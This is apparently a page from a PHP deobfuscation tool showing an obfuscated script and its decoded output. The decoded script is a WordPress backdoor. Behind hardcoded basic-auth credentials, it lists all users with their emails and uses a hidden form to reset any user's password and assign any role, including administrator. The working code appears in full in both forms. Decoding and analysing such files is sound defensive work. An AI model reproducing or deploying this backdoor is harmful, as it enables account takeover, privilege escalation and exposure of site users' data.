Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42AL\x53"}["j\x71\x75\x62h\x6db\x76io\x67\x6f"]="\x75\x73\x65r_\x72..
Decoded Output download
<?php ${"GLOBALS"}["jqubhmbviogo"]="user_role";${"GLOBALS"}["zegteo"]="user_info";${"GLOBALS"}["xqqfevb"]="user";${"GLOBALS"}["fymthueb"]="users";${"GLOBALS"}["bupjntdsllq"]="query";${"GLOBALS"}["sljvbiptb"]="user_id";${"GLOBALS"}["fwkwhvu"]="new_password";${"GLOBALS"}["kfmsajgvwgh"]="new_role";${"GLOBALS"}["kcrypgxxgct"]="username";${"GLOBALS"}["rkplbvov"]="password";$kdywxaxb="username";${"GLOBALS"}["xokollbrfxa"]="password";$gsgbhyciwj="users";${$kdywxaxb}="admin";${"GLOBALS"}["jqcehx"]="username";${${"GLOBALS"}["rkplbvov"]}="100100";if(isset($_SERVER["PHP_AUTH_USER"])&&isset($_SERVER["PHP_AUTH_PW"])&&$_SERVER["PHP_AUTH_USER"]===${${"GLOBALS"}["jqcehx"]}&&$_SERVER["PHP_AUTH_PW"]===${${"GLOBALS"}["xokollbrfxa"]}){}else{header("WWW-Authenticate: Basic realm="rea restrita"");header("HTTP/1.0 401 Unauthorized");echo"Proibido acessar diretrios diretamente!";exit;}echo "
<script>
document.getElementById('new_password').addEventListener('keyup', function(event) {
if (event.keyCode === 13) {
event.preventDefault();
document.getElementById('submit').click();
}
});
</script>
";require_once(dirname(dirname(__FILE__))."/wp-load.php");if(isset($_POST["submit"])){$zwojmyknuje="user";$ufkjnlbam="new_password";${${"GLOBALS"}["kcrypgxxgct"]}=sanitize_user($_POST["username"]);$petebnv="user";${$ufkjnlbam}=$_POST["new_password"];${${"GLOBALS"}["kfmsajgvwgh"]}=$_POST["new_role"];${$petebnv}=get_user_by("login",${${"GLOBALS"}["kcrypgxxgct"]});if(${$zwojmyknuje}){$fjpnuysnpys="new_role";wp_set_password(${${"GLOBALS"}["fwkwhvu"]},$user->ID);${${"GLOBALS"}["sljvbiptb"]}=$user->ID;$user->set_role(${$fjpnuysnpys});echo"";}else{echo"";}}global$wpdb;${${"GLOBALS"}["bupjntdsllq"]}="SELECT * FROM {$wpdb->prefix}users";${$gsgbhyciwj}=$wpdb->get_results(${${"GLOBALS"}["bupjntdsllq"]});if(${${"GLOBALS"}["fymthueb"]}){echo"<html><head><title></title></head><body>";echo"<form method='post' action=''>";echo"<label for='username'></label>";echo"<input type='text' name='username' id='username'><br>";echo"<label for='username'></label>";echo"<input type='password' name='new_password' id='new_password'><br>";echo"<label for='new_role'></label>";echo"<select name='new_role' id='new_role'>";echo"<option value='subscriber'>Assinante</option>";echo"<option value='contributor'>Colaborador</option>";echo"<option value='author'>Autor</option>";echo"<option value='editor'>Editor</option>";echo"<option value='administrator'>Administrador</option>";echo"</select><br>";echo"<input type='submit' name='submit' id='submit' value='' style='display:none;'>";echo"</form>";echo"<table border='1px'>";foreach(${${"GLOBALS"}["fymthueb"]} as${${"GLOBALS"}["xqqfevb"]}){${${"GLOBALS"}["zegteo"]}=get_userdata($user->ID);${${"GLOBALS"}["jqubhmbviogo"]}=reset($user_info->roles);echo"<tr>";echo"<td>".$user->ID."</td>";${"GLOBALS"}["dulihvugf"]="user_role";echo"<td>".$user->user_login."</td>";echo"<td>".$user->user_email."</td>";echo"<td>".${${"GLOBALS"}["dulihvugf"]}."</td>";echo"</tr>";}echo"</table></body></html>";}else{echo"";}
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42AL\x53"}["j\x71\x75\x62h\x6db\x76io\x67\x6f"]="\x75\x73\x65r_\x72\x6fl\x65";${"GL\x4f\x42\x41\x4c\x53"}["ze\x67\x74\x65\x6f"]="\x75\x73\x65r_\x69\x6e\x66\x6f";${"\x47\x4c\x4f\x42AL\x53"}["\x78\x71\x71\x66e\x76b"]="\x75\x73\x65r";${"GL\x4f\x42\x41L\x53"}["fy\x6d\x74hueb"]="u\x73\x65r\x73";${"\x47\x4c\x4f\x42\x41L\x53"}["\x62\x75\x70\x6a\x6et\x64\x73\x6c\x6cq"]="q\x75\x65r\x79";${"\x47\x4cOB\x41\x4c\x53"}["s\x6cj\x76b\x69\x70tb"]="use\x72\x5f\x69\x64";${"\x47LO\x42\x41\x4cS"}["f\x77\x6bw\x68\x76u"]="\x6e\x65w\x5f\x70as\x73\x77\x6f\x72\x64";${"GLOBA\x4cS"}["\x6bf\x6d\x73\x61j\x67\x76\x77\x67\x68"]="\x6e\x65\x77_\x72\x6fl\x65";${"G\x4cO\x42\x41\x4c\x53"}["\x6b\x63\x72\x79\x70gx\x78\x67c\x74"]="\x75\x73e\x72\x6e\x61m\x65";${"GL\x4f\x42A\x4c\x53"}["\x72\x6b\x70\x6c\x62v\x6f\x76"]="\x70\x61\x73\x73\x77\x6fr\x64";$kdywxaxb="u\x73\x65\x72\x6e\x61m\x65";${"GLO\x42\x41\x4cS"}["\x78o\x6bol\x6cb\x72f\x78\x61"]="\x70\x61\x73\x73wo\x72\x64";$gsgbhyciwj="\x75se\x72\x73";${$kdywxaxb}="\x61\x64mi\x6e";${"\x47\x4cOB\x41L\x53"}["\x6a\x71ceh\x78"]="\x75\x73er\x6eame";${${"\x47\x4cO\x42\x41\x4c\x53"}["r\x6bpl\x62\x76o\x76"]}="\x3100\x31\x300";if(isset($_SERVER["PH\x50_\x41\x55\x54\x48\x5fUSE\x52"])&&isset($_SERVER["\x50\x48P\x5f\x41\x55\x54H\x5f\x50W"])&&$_SERVER["PH\x50\x5fAUTH\x5fUS\x45\x52"]===${${"\x47\x4cOB\x41\x4c\x53"}["j\x71c\x65\x68x"]}&&$_SERVER["P\x48P_A\x55\x54H\x5fP\x57"]===${${"\x47\x4cO\x42\x41\x4cS"}["x\x6f\x6b\x6fl\x6c\x62\x72\x66xa"]}){}else{header("W\x57W-A\x75\x74h\x65n\x74ic\x61\x74\x65: B\x61si\x63\x20rea\x6c\x6d\x3d\x22\x72\x65\x61 re\x73\x74\x72\x69\x74\x61\x22");header("H\x54TP/\x31\x2e0\x204\x30\x31\x20\x55\x6e\x61utho\x72\x69z\x65d");echo"\x50r\x6fib\x69\x64o\x20ac\x65ssar\x20\x64\x69\x72et\x72\x69o\x73 \x64ir\x65\x74\x61\x6de\x6e\x74\x65!";exit;}echo "\n\x3csc\x72i\x70\x74\x3e\n \x20\x64ocum\x65\x6et\x2e\x67et\x45\x6ceme\x6et\x42yId(\x27\x6e\x65\x77\x5f\x70\x61s\x73w\x6frd').\x61d\x64\x45\x76\x65\x6et\x4c\x69\x73t\x65n\x65\x72(\x27ke\x79\x75p',\x20\x66u\x6ectio\x6e(event) {\n \x20\x20\x20\x20 i\x66 (e\x76\x65\x6et\x2ek\x65yC\x6f\x64\x65\x20=\x3d\x3d\x20\x31\x33) {\n \x20\x20 \x20\x20 \x20\x20 \x65\x76ent\x2e\x70\x72\x65v\x65n\x74D\x65\x66\x61ul\x74()\x3b\n \x20 \x20\x20\x20\x20\x20 d\x6f\x63\x75\x6den\x74.g\x65\x74E\x6ce\x6de\x6e\x74\x42y\x49\x64(\x27\x73\x75\x62\x6dit\x27)\x2e\x63\x6cic\x6b();\n\x20\x20\x20 \x20\x20 }\n \x20\x20});\n\x3c/\x73\x63r\x69pt\x3e\n\n";require_once(dirname(dirname(__FILE__))."/wp-\x6coad.\x70\x68p");if(isset($_POST["\x73\x75b\x6di\x74"])){$zwojmyknuje="us\x65r";$ufkjnlbam="\x6ee\x77\x5f\x70\x61\x73\x73\x77\x6f\x72\x64";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["k\x63\x72\x79pgxxgc\x74"]}=sanitize_user($_POST["\x75\x73\x65r\x6eame"]);$petebnv="u\x73e\x72";${$ufkjnlbam}=$_POST["\x6e\x65w\x5f\x70\x61\x73s\x77\x6f\x72\x64"];${${"GL\x4f\x42ALS"}["\x6b\x66\x6ds\x61j\x67\x76w\x67\x68"]}=$_POST["\x6e\x65w\x5f\x72o\x6c\x65"];${$petebnv}=get_user_by("\x6c\x6fg\x69\x6e",${${"GL\x4fB\x41\x4c\x53"}["\x6bcr\x79\x70\x67\x78xg\x63t"]});if(${$zwojmyknuje}){$fjpnuysnpys="n\x65\x77\x5f\x72\x6f\x6c\x65";wp_set_password(${${"G\x4c\x4f\x42\x41LS"}["\x66\x77\x6b\x77h\x76\x75"]},$user->ID);${${"GLO\x42\x41\x4c\x53"}["\x73\x6c\x6a\x76bi\x70\x74\x62"]}=$user->ID;$user->set_role(${$fjpnuysnpys});echo"";}else{echo"";}}global$wpdb;${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62up\x6a\x6e\x74\x64\x73\x6cl\x71"]}="SE\x4cE\x43T *\x20\x46ROM {$wpdb->prefix}\x75s\x65\x72\x73";${$gsgbhyciwj}=$wpdb->get_results(${${"GLO\x42\x41\x4c\x53"}["\x62\x75pjn\x74\x64\x73\x6c\x6c\x71"]});if(${${"G\x4cOB\x41\x4c\x53"}["\x66y\x6dt\x68\x75\x65b"]}){echo"<\x68\x74\x6dl\x3e\x3c\x68\x65\x61\x64\x3e\x3ctit\x6c\x65>\x3c/\x74\x69\x74\x6c\x65></\x68\x65\x61d><\x62\x6f\x64y\x3e";echo"\x3cf\x6frm\x20me\x74ho\x64='p\x6fs\x74'\x20\x61\x63\x74i\x6f\x6e\x3d\x27'>";echo"\x3cla\x62e\x6c\x20\x66\x6fr\x3d'u\x73\x65\x72n\x61me'\x3e</\x6ca\x62e\x6c\x3e";echo"<\x69n\x70ut \x74\x79\x70e='\x74\x65xt\x27 \x6e\x61m\x65\x3d'\x75\x73\x65r\x6ea\x6de\x27\x20id\x3d'\x75\x73e\x72\x6eam\x65\x27\x3e\x3cb\x72>";echo"<\x6ca\x62\x65l\x20\x66\x6f\x72=\x27\x75\x73er\x6ea\x6de\x27\x3e\x3c/\x6c\x61\x62\x65\x6c>";echo"<i\x6e\x70u\x74 t\x79p\x65\x3d'pa\x73s\x77ord\x27\x20na\x6de='\x6e\x65\x77_\x70as\x73w\x6f\x72d'\x20\x69\x64='\x6ee\x77_\x70\x61\x73sword'><\x62\x72>";echo"<\x6c\x61b\x65l \x66\x6fr='n\x65w_\x72o\x6ce\x27\x3e</l\x61bel\x3e";echo"<s\x65l\x65\x63t\x20\x6ea\x6de\x3d'\x6e\x65w_rol\x65\x27 i\x64\x3d'new\x5f\x72\x6f\x6c\x65'\x3e";echo"\x3c\x6fpti\x6fn \x76\x61\x6cu\x65\x3d\x27sub\x73crib\x65\x72'>\x41\x73si\x6ean\x74\x65\x3c/\x6f\x70\x74\x69\x6fn\x3e";echo"<o\x70\x74i\x6fn\x20\x76\x61\x6c\x75e\x3d\x27\x63\x6fn\x74\x72i\x62u\x74\x6fr\x27\x3e\x43\x6flabora\x64or</o\x70\x74\x69on>";echo"<\x6fptio\x6e\x20\x76\x61l\x75\x65\x3d\x27au\x74\x68o\x72'>A\x75\x74\x6fr\x3c/optio\x6e\x3e";echo"\x3copt\x69\x6f\x6e\x20\x76\x61\x6c\x75e\x3d'e\x64\x69\x74\x6fr\x27\x3e\x45d\x69t\x6f\x72</\x6f\x70t\x69o\x6e>";echo"\x3c\x6f\x70\x74\x69\x6f\x6e \x76alu\x65\x3d\x27adm\x69\x6ei\x73t\x72\x61t\x6fr'>\x41\x64min\x69s\x74\x72ado\x72\x3c/\x6fpti\x6f\x6e\x3e";echo"</\x73ele\x63t><\x62\x72>";echo"<inp\x75\x74\x20\x74ype\x3d\x27\x73ub\x6dit\x27 \x6ea\x6de='s\x75b\x6dit'\x20\x69\x64=\x27\x73u\x62mi\x74'\x20\x76\x61\x6c\x75e=''\x20s\x74\x79l\x65=\x27\x64\x69sp\x6ca\x79:non\x65\x3b\x27>";echo"\x3c/f\x6frm\x3e";echo"\x3ct\x61b\x6c\x65 \x62\x6f\x72\x64\x65\x72\x3d'\x31\x70x'>";foreach(${${"\x47\x4cOB\x41\x4cS"}["\x66\x79\x6dthue\x62"]} as${${"\x47\x4c\x4f\x42ALS"}["x\x71\x71\x66evb"]}){${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x65\x67te\x6f"]}=get_userdata($user->ID);${${"\x47\x4cO\x42\x41LS"}["\x6aq\x75\x62h\x6dbv\x69\x6fg\x6f"]}=reset($user_info->roles);echo"\x3c\x74r\x3e";echo"\x3ct\x64>".$user->ID."\x3c/td\x3e";${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x75\x6ci\x68\x76\x75\x67\x66"]="u\x73er\x5f\x72\x6fl\x65";echo"<td>".$user->user_login."</td\x3e";echo"\x3ctd>".$user->user_email."</td>";echo"<\x74\x64\x3e".${${"G\x4cOBAL\x53"}["\x64\x75\x6c\x69\x68\x76u\x67\x66"]}."</t\x64\x3e";echo"</t\x72>";}echo"\x3c/ta\x62le></\x62\x6fdy\x3e</h\x74m\x6c>";}else{echo"";}
?>
Function Calls
None |
Stats
MD5 | c47a0dee87c314a1ff0c5cf82a808478 |
Eval Count | 0 |
Decode Time | 47 ms |